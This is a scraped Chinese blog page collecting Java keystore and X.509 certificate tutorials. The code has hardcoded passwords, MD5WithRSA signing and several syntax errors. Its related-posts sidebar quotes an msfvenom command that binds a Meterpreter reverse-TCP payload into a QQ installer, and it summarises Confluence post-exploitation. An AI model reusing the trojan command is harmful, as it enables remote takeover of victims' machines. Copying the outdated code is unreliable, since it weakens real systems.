keystore相关 (java)

unity pc运行包导入glb 本文介绍了在Unity中实现GLB/GLTF模型动态导入的方法。主要使用glTFast插件进行模型导入,配合StandaloneFileBrowser实现文件选择功能。文章提供了详细的插件安装方式(包括国内镜像源),并给出了核心导入脚本代码。脚本实现了模型加载、父对象设置、材质修复等功能,解决了常见的材质显示异常问题。该方法支持编辑器和PC平台,兼容不同版本的glTFastAPI,通过简易UI操作即可完成模型导入,适合需要运行时加载3D模型的Unity项目开发。 阅读详情


原文地址:http://www.myexception.cn/android/409464.html

java CA证书相关操作,Android,java
一:需要包含的包
    import java.security.*;
    import java.io.*;
    import java.util.*;
    import java.security.*;
    import java.security.cert.*;
    import sun.security.x509.*
    import java.security.cert.Certificate;
    import java.security.cert.CertificateFactory;

二:从文件中读取证书
    用keytool将.keystore中的证书写入文件中,然后从该文件中读取证书信息
    CertificateFactory cf=CertificateFactory.getInstance("X.509");
    FileInputStream in=new FileInputStream("out.csr");
    Certificate c=cf.generateCertificate(in);

    String s=c.toString();
三:从密钥库中直接读取证书
    String pass="123456";
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,pass.toCharArray());
    java.security.cert.Certificate c=ks.getCertificate(alias);//alias为条目的别名

四:JAVA程序中显示证书指定信息
    System.out.println("输出证书信息:\n"+c.toString());
    System.out.println("版本号:"+t.getVersion());
    System.out.println("序列号:"+t.getSerialNumber().toString(16));
    System.out.println("主体名:"+t.getSubjectDN());
    System.out.println("签发者:"+t.getIssuerDN());
    System.out.println("有效期:"+t.getNotBefore());
    System.out.println("签名算法:"+t.getSigAlgName());
    byte [] sig=t.getSignature();//签名值 
    PublicKey pk=t.getPublicKey();
    byte [] pkenc=pk.getEncoded();  
    System.out.println("公钥");
    for(int i=0;i<pkenc.length;i++)System.out.print(pkenc[i]+",");

五:JAVA程序列出密钥库所有条目
    String pass="123456";
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,pass.toCharArray());
    Enumeration e=ks.aliases();
    while(e.hasMoreElements())
    java.security.cert.Certificate c=ks.getCertificate((String)e.nextElement());

六:JAVA程序修改密钥库口令
    String oldpass="123456";
    String newpass="654321";
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,oldpass.toCharArray());
    in.close();
    FileOutputStream output=new FileOutputStream(".keystore");
    ks.store(output,newpass.toCharArray());
    output.close();

七:JAVA程序修改密钥库条目的口令及添加条目
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,storepass.toCharArray());
    Certificate [] cchain=ks.getCertificate(alias);获取别名对应条目的证书链
    PrivateKey pk=(PrivateKey)ks.getKey(alias,oldkeypass.toCharArray());获取别名对应条目的私钥
    ks.setKeyEntry(alias,pk,newkeypass.toCharArray(),cchain);向密钥库中添加条目
    第一个参数指定所添加条目的别名,假如使用已存在别名将覆盖已存在条目,使用新别名将增加一个新条目,第二个参数为条目的私钥,第三个为设置的新口令,第四个为该私钥的公钥的证书链
    FileOutputStream output=new FileOutputStream("another");
    ks.store(output,storepass.toCharArray())将keystore对象内容写入新文件

八:JAVA程序检验别名和删除条目
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,storepass.toCharArray());
    ks.containsAlias("sage");检验条目是否在密钥库中,存在返回true
    ks.deleteEntry("sage");删除别名对应的条目
    FileOutputStream output=new FileOutputStream(".keystore");
    ks.store(output,storepass.toCharArray())将keystore对象内容写入文件,条目删除成功

九:JAVA程序签发数字证书
    (1)从密钥库中读取CA的证书
    FileInputStream in=new FileInputStream(".keystore");
    KeyStore ks=KeyStore.getInstance("JKS");
    ks.load(in,storepass.toCharArray());
    java.security.cert.Certificate c1=ks.getCertificate("caroot");
    (2)从密钥库中读取CA的私钥
    PrivateKey caprk=(PrivateKey)ks.getKey(alias,cakeypass.toCharArray());
    (3)从CA的证书中提取签发者的信息
    byte[] encod1=c1.getEncoded();    提取CA证书的编码
    X509CertImpl cimp1=new X509CertImpl(encod1);  用该编码创建X509CertImpl类型对象
    X509CertInfo cinfo1=(X509CertInfo)cimp1.get(X509CertImpl.NAME+"."+X509CertImpl.INFO);  获取X509CertInfo对象
    X500Name issuer=(X500Name)cinfo1.get(X509CertInfo.SUBJECT+"."+CertificateIssuerName.DN_NAME); 获取X509Name类型的签发者信息
    (4)获取待签发的证书
    CertificateFactory cf=CertificateFactory.getInstance("X.509");
    FileInputStream in2=new FileInputStream("user.csr");
    java.security.cert.Certificate c2=cf.generateCertificate(in);
    (5)从待签发的证书中提取证书信息
    byte [] encod2=c2.getEncoded();
    X509CertImpl cimp2=new X509CertImpl(encod2);  用该编码创建X509CertImpl类型对象
    X509CertInfo cinfo2=(X509CertInfo)cimp2.get(X509CertImpl.NAME+"."+X509CertImpl.INFO);  获取X509CertInfo对象
    (6)设置新证书有效期
    Date begindate=new Date(); 获取当前时间
    Date enddate=new Date(begindate.getTime()+3000*24*60*60*1000L); 有效期为3000天
    CertificateValidity cv=new CertificateValidity(begindate,enddate); 创建对象
    cinfo2.set(X509CertInfo.VALIDITY,cv);  设置有效期
    (7)设置新证书序列号
    int sn=(int)(begindate.getTime()/1000);    以当前时间为序列号
    CertificateSerialNumber csn=new CertificateSerialNumber(sn);
    cinfo2.set(X509CertInfo.SERIAL_NUMBER,csn);
    (8)设置新证书签发者
    cinfo2.set(X509CertInfo.ISSUER+"."+CertificateIssuerName.DN_NAME,issuer);应用第三步的结果
    (9)设置新证书签名算法信息
    AlgorithmId algorithm=new AlgorithmId(AlgorithmId.md5WithRSAEncryption_oid);
    cinfo2.set(CertificateAlgorithmId.NAME+"."+CertificateAlgorithmId.ALGORITHM,algorithm);
    (10)创建证书并使用CA的私钥对其签名
    X509CertImpl newcert=new X509CertImpl(cinfo2);
    newcert.sign(caprk,"MD5WithRSA"); 使用CA私钥对其签名
    (11)将新证书写入密钥库
    ks.setCertificateEntry("lf_signed",newcert);
    FileOutputStream out=new FileOutputStream("newstore");
    ks.store(out,"newpass".toCharArray());  这里是写入了新的密钥库,也可以使用第七条来增加条目

十:数字证书的检验
    (1)验证证书的有效期
(a)获取X509Certificate类型对象
CertificateFactory cf=CertificateFactory.getInstance("X.509");
    FileInputStream in1=new FileInputStream("aa.crt");
  java.security.cert.Certificate  c1=cf.generateCertificate(in1);
X509Certificate t=(X509Certificate)c1;
  in2.close();
        (b)获取日期
Date TimeNow=new Date();
(c)检验有效性
try{
    t.checkValidity(TimeNow);
           System.out.println("OK");
}catch(CertificateExpiredException e){  //过期
    System.out.println("Expired");
    System.out.println(e.getMessage());
}catch((CertificateNotYetValidException e){ //尚未生效
    System.out.println("Too early");
    System.out.println(e.getMessage());}
     (2)验证证书签名的有效性
(a)获取CA证书
         CertificateFactory cf=CertificateFactory.getInstance("X.509");
     FileInputStream in2=new FileInputStream("caroot.crt");
   java.security.cert.Certificate  cac=cf.generateCertificate(in2);
  in2.close();
(c)获取CA的公钥
  PublicKey pbk=cac.getPublicKey();
(b)获取待检验的证书(上步已经获取了,就是C1)
(c)检验证书
         boolean pass=false;
         try{
      c1.verify(pbk);
             pass=true;
         }catch(Exception e){
             pass=false;
             System.out.println(e);
  }


-----------------------------------------------------------------------------------------------------------------------------------------------

原文地址:http://wangxuliangboy.iteye.com/blog/382434


 keystore提取私钥和证书


keytool -genkey -alias test -keyalg RSA -keystore c:/key.store

生成keyStore

RSA是一个既能用于数据加密也能用于数字签名的算法。

DSA(Digital Signature Algorithm,数字签名算法,用作数字签名标准的一部分),它是另一种公开密钥算法,它不能用作加密,只用作数字签名。DSA使用公开密钥,为接受者验证数据的完整性和数据发送者的身份。

提取证书:

通过keytool命令我们可以很轻松的提取证书.

证书包括主体信息,公钥.

keytool -export -alias 别名 -keystore 文件名 -file 证书名称

 

但是我们无法通过KEYTOOL工具来提取私钥的..我们只能通过java的KeyStore类getEntry() 或者getKey()来提取私钥.

 

读取keyStore文件:

 char[] password = "password".toCharArray();  

java.io.FileInputStream fis = new java.io.FileInputStream("c:/server/server_keystore");

//  从指定的输入流中加载此 KeyStore
 ks.load(fis, password);
//keystore 中的每一项都用“别名”字符串标识。

//使用指定保护参数获取指定别名的 keystore Entry。

 //KeyStore.PrivateKeyEntry  保存 PrivateKey 和相应证书链的 KeyStore 项。

方法1.  KeyStore.PrivateKeyEntry pkEntry = (KeyStore.PrivateKeyEntry) ks.getEntry(
                                                                                  "keystore别名",
                                                                                  new KeyStore.PasswordProtection(
                                                                                                                  password));

 

//  返回与给定别名相关联的密钥

方法2. PrivateKey key = (PrivateKey) ks.getKey("ser", password);

 

怎么来验证提取的私钥是否正确呢?(因为公钥私钥必须成对出现,我们可以通过证书提取去公钥,然后用公钥加密,使用刚刚获得的私钥解密)

 

提取证书的方法:

keytool -export -alias 别名 -keystore 文件名 -file 证书名称

 

//通过证书,获取公钥


  CertificateFactory cf = CertificateFactory.getInstance("X.509");
  FileInputStream in = new FileInputStream("C:\\server\\server.cer");

//生成一个证书对象并使用从输入流 inStream 中读取的数据对它进行初始化。
  Certificate c = cf.generateCertificate(in);
  PublicKey publicKey = c.getPublicKey();

 

 

//通过下面这段代码提取的私钥是否正确

 String before = "asdf";
        byte[] plainText = before.getBytes("UTF-8");
        Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
        cipher.init(Cipher.ENCRYPT_MODE, publicKey);
        // 用公钥进行加密,返回一个字节流
        byte[] cipherText = cipher.doFinal(plainText);
        cipher.init(Cipher.DECRYPT_MODE, myPrivateKey);
        // 用私钥进行解密,返回一个字节流
        byte[] newPlainText = cipher.doFinal(cipherText);
        System.out.println(new String(newPlainText, "UTF-8"));


-------------------------------------------------------------------------------------------

其他相关地址:

http://blog.youkuaiyun.com/kmyhy/article/details/6418211


第二十一篇: `man`, `tldr`, `explain` - 授人以渔的“终极指令” 我们已经一起学习了19个(组)关键命令,从nvidia-smi到kubectl。但这只是GPU运维武器库中的一小部分。技术日新月异,新的工具、新的参数会不断涌现。这个系列的真正目的,不仅是教会你使用这19件“兵器”,更是希望你掌握学习任何一件新兵器的方法论。这套方法论就是你的“终极指令”。授人以鱼不如授人以渔。至此,《GPU运维指令集:20个关键命令的战地手册》系列已全部完结。我们从nvidia-smi出发,一路探索了监控、诊断、容器、集群、网络、性能等各个维度的命令,最后用自动化脚本将它们串联,又用。 阅读详情

相关推荐

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

java中 SSL认证和keystore使用

好久没用过SSL认证了,东西久不用,就有点生疏。博客就是有这个好处,可以做备忘录。 java中是通过SSL认证,使用的是SSLSocket,通过SSLSocketFactory可以获得SSLSocket实例对象。通常SSLSocketFactory需要一个SSLContext环境对象来构建, 构建一个SSLContext 环境: SSLContext sslc=SSLContex

zbuger的博客 7303

八股已死、场景当立(Docker篇)

本文总结了Docker相关的面试八股文,重点介绍了Docker在Java开发中的应用。主要内容包括:Docker容器与虚拟机的区别及其对Java应用性能的影响;如何为Java应用构建优化镜像;Docker常用命令在Java容器管理中的使用;Docker网络模式与数据卷在Java微服务中的配置;使用Docker Compose部署Java+MySQL微服务的方法;以及为Java应用配置健康检查的重要性。文章还通过具体示例说明了Nginx容器挂载、日志收集等常见场景的实现方式,为Java开发者提供了实用的Doc

qq_55253420的博客 714

java证书相关

Java 支持多种证书和密钥存储格式。

datalover的专栏 1221

Rocky Linux 9 远程桌面配置全攻略:从零搭建XRDP服务(含防火墙设置)

本文提供了在Rocky Linux 9上从零开始配置XRDP远程桌面服务的完整指南。详细介绍了系统准备、XRDP服务安装、防火墙与SELinux安全设置、多用户性能优化以及多平台客户端连接实测。重点解决了使用Windows远程桌面协议(RDP)连接Rocky Linux时常见的配置难点与安全问题,帮助用户获得稳定高效的图形化远程访问体验。

vodka的博客 646

error C2039: “int_least8_t”: 不是“`global namespace'”的成员

在向H.265的测试软件HM16.0中配置boost的时候,发现 include &lt;boost/cstdint.hpp&gt;的时候总是会报错:错误 11 error C2039: “int_fast16_t”: 不是“`global namespace'”的成员 D:\Program Files\Caffe\VSContact\boost_1_58_0\boost\cstdint.hpp ...

flyerene的博客 1万+

JAVA keystore

java签名/证书机制 java签名/证书机制,可以保障使用者,安全地调用外部提供的jar,防止你信任的jar被篡改。 首先,java的签名,必须是基于jar包的。也就是说,你必须将你要提供的class,打包到jar里。 然后,通过 java 提供的签名工具(jarsigner)对jar包进行签名,发布。 签名原理: 使用非对称算法,生成一对公钥/私钥。   证书 证书是在签名基础

talent210的专栏 6697

ArcGIS小白必看:5分钟搞定WGS_1984到Krasovsky_1940_Albers投影转换(附详细步骤)

本文为ArcGIS初学者提供了从WGS_1984地理坐标系转换到Krasovsky_1940_Albers投影坐标系的详细实战指南。文章深入剖析了投影变换与基准面转换的核心区别,通过分步详解创建自定义地理变换、执行投影等关键操作,并附带了常见问题排查与批量处理脚本,旨在帮助用户高效、准确地完成坐标系统转换,为后续空间分析奠定基础。

weixin_29305337的博客 634

JAVA加载keystore文件,获取公钥和私钥

总结java如何加载keystore文件,获取公私钥信息 /** * Java密钥库(Java Key Store,JKS)KEY_STORE */ private static final String KEY_STORE = "JKS"; private static final String X509 = "X.509"; /** * 从公钥文件当中读取公钥,公钥文件存储在设备某个特定位置 * * @par......

chali1314的博客 9235

攻防实战之Confluence后利用

这边管理员密码是密文加密在数据库中,解不开,因此解决的思路是将管理员用户密码修改为已知明文密码的密文(这边不能直接在数据库中添加字段,关系型数据库在单表中添加一条字段可能会出现问题),登录上后台以后,添加用户并加入管理员组,最后将管理员密码还原。Confluence的后利用主要问题在于在Linux中搭建时,默认是Confluence用户权限,如下图所示,而confluence在linux中是没有写权限的,这也就是为什么有些人发现可以执行命令但是shell写不进去。至此admin的密码被改为了123123。

weixin_39251927的博客 2716

深入解析TI C2000 ePWM模块:峰值电流模式Buck与LLC谐振变换器实战配置

脉宽调制(PWM)技术是电力电子与数字电源控制的核心,它通过调节开关信号的占空比或频率,实现对功率变换器输出电压、电流的精确控制。其基本原理是利用微控制器内部的定时器和比较器,生成具有特定时序的方波信号,驱动功率开关器件。这项技术的核心价值在于将复杂的模拟控制环路数字化,从而提升系统的可控性、灵活性和可靠性。在电机驱动、不间断电源(UPS)、服务器电源和新能源逆变器等广泛应用场景中,PWM技术都是实现高效能量转换的基石。本文聚焦于德州仪器(TI)C2000系列微控制器中功能强大的增强型PWM(ePWM)模块

weixin_30410119的博客 341

java keytool jks_jdk的keytool生成jks和获取jks的信息,公匙

1.生成jks。执行命令:keytool -genkeypair -alias mytest -keyalgRSA -keypass mypass -keystore mytest.jks -storepass mypass -keystore jks文件保存路径生成的mytest.jks证书中包含我们的密钥 :公钥和私钥。2.利用"keytool -list -v -keystore test...

weixin_31592801的博客 759

AMBA-AXI and ACE协议详解(十)

本章介绍了ACE协议中的Barrier事务机制,包括内存屏障和同步屏障两种类型。

Crazzy_M的博客 612

Java keytool keystore的相关概念介绍与使用

⏹Java keytool keystore的相关概念介绍与使用

菜鸟记录 2393

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

java生成和读取keystore_读写Java KeyStore

已解决密码学Python读写Java KeyStore10我的应用程序只需要读取私钥(与相关的公共证书),没有写入KeyStore,没有密码更改,根本没有更改- 只是阅读。 有没有人知道,为了阅读我可以使用这个代码:///doingsomeactionsKeyStorestore=KeyStore.getInstance("foo","bar");store.load(iaminp...

weixin_39750598的博客 583

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

java keystore jks_Keytool常用命令 JKS Java Keystore, X.509, PKCS12

新建一个Keystore文件使用以下命令,会新建一个KEYSTORE文件,并产生一个密钥对:keytool -genkey -alias tomcat -keyalg RSA -keystore c:\server.jks产生一个CSR文件首先先运行上面的指令,产生一个新的KEYSTORE文件,然后输入下面命令,产生这个KEYSTORE文件的CSR:keytool -certreq -alias ...

weixin_28990605的博客 445

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

探讨如何生成keystore

什么是keystore Keytool是一个Java数据证书的管理工具 ,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中。 在keystore里,包含两种数据: 密钥实体(Key entity)——密钥(secret key)又或者是私钥和配对公钥(采用非对称加密)可信任的证书实体(trusted certificate entries)——只...

weixin_34261415的博客 155

JDK 中的Keytool 和keystore

Properties props = System.getProperties(); props.put("mail.host", mailServerHost); props.put("mail.port", mailServerPort+""); props.put("mail.transport.protocol", "smtp"); ...

HL_HotBlooded的博客 533

java keystore生成_Java KeyStore 用命令生成keystore文件自己生成证书,简介

1.生成keyStore文件在命令行下执行以下命令:Shell代码 收藏代码keytool -genkey -validity 36000 -alias www.zlex.org -keyalg RSA -keystore d:\zlex.keystore其中-genkey表示生成密钥-validity指定证书有效期,这里是36000天-alias指定别名,这里是www.zlex.org-keya...

weixin_28903391的博客 767

java javax.net.ssl.keystore冲突解决?,为什么java使用JAVA_HOME / lib / security / cacerts的默认位置keystore / trusts...

In my java application I am running with supplied -Djavax.net.ssl.trustStore System properties as below.-Djavax.net.ssl.trustStore=/myapp/app.jks -Djavax.net.ssl.trustStorePassword=XXXXX -Djavax.net....

weixin_39797912的博客 875

java keystore https_简述Java KeyStore

简介Java自带的keytool工具是个密钥和证书管理工具。它使用户能够管理自己的公钥/私钥对及相关证书,用于(通过数字签名)自我认证(用户向别的用户/服务认证自己)或数据完整性以及认证服务。它还允许用户储存他们的通信对等者的公钥(以证书形式)。keytool 将密钥和证书储存在一个所谓的密钥仓库(keystore)中。缺省的密钥仓库实现将密钥仓库实现为一个文件。它用口令来保护私钥。Java Ke...

weixin_42298629的博客 526

java相关证书_java实现安全证书相关操作

packagetest;importjava.io.ByteArrayOutputStream;importjava.io.File;importjava.io.FileInputStream;importjava.io.FileNotFoundException;importjava.io.FileOutputStream;importjava.io.IOException;imp...

weixin_39885067的博客 396

openssl 生成keystore

最近项目里面用到了SSL双向认证和传输加密的技术,研究了一下,想把相关的指令和代码分享出来,以期后来者能够少踩坑,顺利解决问题。我们的项目服务器是C,客户端为Java,CS架构,中间通过Socket通讯。 OpenSSL和Java KeyStore本质上没有关系,只是客户端用到Java,Java里面SSL认证加密的密码和证书需要存储到KeyStore这个容器里面,所以OpenSSL产生的相关

l825918637的专栏 7107

java keystore导出.pfx .key .crt 私钥

java keystore导出.pfx .key .crt 私钥

iteye_10902的博客 447

证书学习(二)搞懂 keystore、jks、p12、pfx、cer、crt、csr、pem、key文件的区别

证书学习(二)搞懂 keystore、jks、p12、pfx、crt、csr、pem文件的区别

ACGkaka的博客 7129

java keytool keystore 常用命令

The Most Common Java Keytool Keystore Commands Java Keytool is a key and certificate management utility. It allows users to manage their own public/private key pairs and certificates. It also allows

u013793650的专栏 2247
上一篇: Connecting with Wi-Fi Direct
下一篇: Java中实现复制文件或文件夹
androidboy365
博客等级 码龄16年 35粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值